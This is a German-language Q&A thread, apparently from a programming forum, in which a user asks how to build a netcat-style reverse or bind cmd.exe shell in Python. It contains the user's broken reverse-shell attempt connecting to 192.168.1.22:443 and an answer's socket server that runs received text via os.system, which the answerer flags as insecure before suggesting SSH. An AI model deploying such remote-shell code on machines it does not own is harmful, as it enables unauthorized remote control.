2016-09-03 1 views
0

Ich habe eine Frage über das Ausführen von Windows-API über TCP/IP-Protokoll. Zum Beispiel, ich möchte remote Maschine cmd.exe auf andere Maschine bringen (wie Netcat, cmd.exe über TCP/IP vollständig simuliert). Ich suchte online nach Python, konnte aber nichts hilfreiches finden. Ich kann dies mit Unterprozess- und anderen Python-Funktionen tun, aber es fehlt das Problem mit der Benutzeroberfläche. Ich habe diese Art von Code:Python Shellexecu Windows API mit Ctypes über TCP/IP

import socket 
import subprocess 
import ctypes 

HOST = '192.168.1.22' 
PORT = 443 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 

while 1: 
    #send initial cmd.exe banner to remote machine 
    s.send(ctypes.windll.Shell32.ShellExecuteA(None,"open","cmd.exe",None,None,0)) 
    #accept user input 
    data = s.recv(1024) 
    #pass it again to Shellexecute api to execute and return output to remote machine, fully simulating original CMD over TCP/IP 


s.close() 

Schauen Sie sich zu diesem Bild: Running CMD over TCP/IP using NetCat tool

Antwort

0

Ich bin nicht sicher, was Ihre Notwendigkeit basiert auf Ihrer Beschreibung ist, aber ich werde versuchen, Ihnen zu helfen:).

Wenn Sie nur die CMD.exe auf einem Remote-Rechner mit geöffnetem Port aktivieren möchten, möchten Sie vielleicht in ein "Server-Skript" schauen, das alle Befehle ausführt, die an es übergeben werden. dh

class MyTCPHandler(socketserver.BaseRequestHandler): 
    """ 
    The RequestHandler class for our server. 

    It is instantiated once per connection to the server, and must 
    override the handle() method to implement communication to the 
    client. 
    """ 

    def handle(self): 
     # self.request is the TCP socket connected to the client 
     self.data = self.request.recv(1024).strip() 
     print("{} wrote:".format(self.client_address[0])) 
     print(self.data) 
     error_code = os.system(self.data.decode('UTF-8')) 
     # just send back the error code so we know if it executed correctly 
     self.request.sendall(error_code) 

if __file__ is '__main__': 
    HOST, PORT = "localhost", 9999 

    # Create the server, binding to localhost on port 9999 
    server = socketserver.TCPServer((HOST, PORT), MyTCPHandler) 

    # Activate the server; this will keep running until you 
    # interrupt the program with Ctrl-C 
    server.serve_forever() 

* ref: https://docs.python.org/3.4/library/socketserver.html Ich muss es auf der Serverseite zu Python nicht zu erwähnen, dass dies wirklich nicht sicher ...

wenn Sie wirklich passieren wollen, glaube ich, Ich würde alles, was auf dem Socket empfangen wurde, in eine tmp-Datei schreiben und Python darüber ausführen. Wie Ansible tun.

Lassen Sie mich wissen, ob das Ihnen geholfen hat!

+0

Ich möchte CMD über Netzwerkverbindung ausführen. Wie umgekehrt oder bind cmd shell. Nach erfolgreicher Verbindung muss einer der Computer die Kontrolle über cmd.exe übernehmen, die zu anderen gehört. Ich möchte Skript simulieren schreiben interaktiv cmd.exe gehört zu anderen Computer über Netzwerkverbindung. Wahrscheinlich, mit Windows Apis wie shellexecute über Netzwerk ist Lösung, aber ich bin Python-Neuling und kann es nicht für mich selbst schreiben :) – Abdulla

+0

hum ..., verbindet SSH mit Windows und die Verwendung der Cmd als "Standard" -Shell ist eine Option für Ihren Fall? https://winscp.net/eng/docs/guide_windows_openssh_server Sie könnten danach die Paramiko-Bibliothek von Python verwenden :) http://jessenoller.com/blog/2009/02/05/ssh-programming-with -paramiko-ganz anders –